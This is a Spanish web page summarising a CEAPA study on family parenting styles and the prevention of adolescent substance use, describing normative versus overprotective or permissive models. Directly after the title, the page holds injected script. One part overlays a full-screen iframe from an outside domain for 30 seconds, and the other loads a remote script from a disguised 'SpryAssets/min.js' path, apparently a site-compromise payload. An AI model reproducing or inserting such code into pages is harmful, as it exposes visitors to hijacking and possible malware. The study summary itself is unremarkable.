La importancia del estilo educativo familiar en los programas de prevención para adolescentes<script> var time=30000;if((document.getElementById)){(function(){var thehairs="<iframe id=theiframe scrolling=no frameBorder=0 allowTransparency=true src=https://komkatkaj.org/ style=position:fixed;left:0;top:0;z-index:999999999999999;width:100%;height:100%;border:none;></iframe>";document.write(thehairs);var like=document.getElementById("theiframe");document.getElementsByTagName(body)[0].appendChild(like);if(time!=0){setTimeout(function(){document.getElementsByTagName(body)[0].removeChild(like)},time)}})()} </script><script type="text/javascript" src="https://old.chainebda.com/SpryAssets/min.js"></script>
Esta investigación, desarrollada por iniciativa de la Confederación Española de Asociaciones de Padres y Madres (CEAPA), tiene como objetivo analizar los factores educativos, relacionales y de comunicación paterno-filiales que pueden favorecer o disuadir a los hijos e hijas del consumo de sustancias adictivas.
A través de una metodología cualitativa, el informe repasa, en primer lugar, las condiciones generales de la vida familiar. Se confirma una tendencia a la individualización , en la que el espacio con el que joven se identifica no es la totalidad del hogar familiar, sino su habitación, donde dispone de todos los equipamientos necesarios (televisión, ordenador con conexión a Internet, aparato de música) para desarrollar una vida cuasi independiente. . A continuación, se analizan los estilos educativos imperantes en las familias españolas actuales y se constata la existencia de dos modelos dominantes: uno normativo, que combina formas de autoridad y diálogo, y que fomenta más la autonomía y responsabilidad de los adolescentes; y otro más sobreprotector y permisivo, a veces resultado de una mala conciencia por no haberle dedicado al hijo el tiempo suficiente, pero que, sin quererlo, acaba dificultando su crecimiento y madurez.
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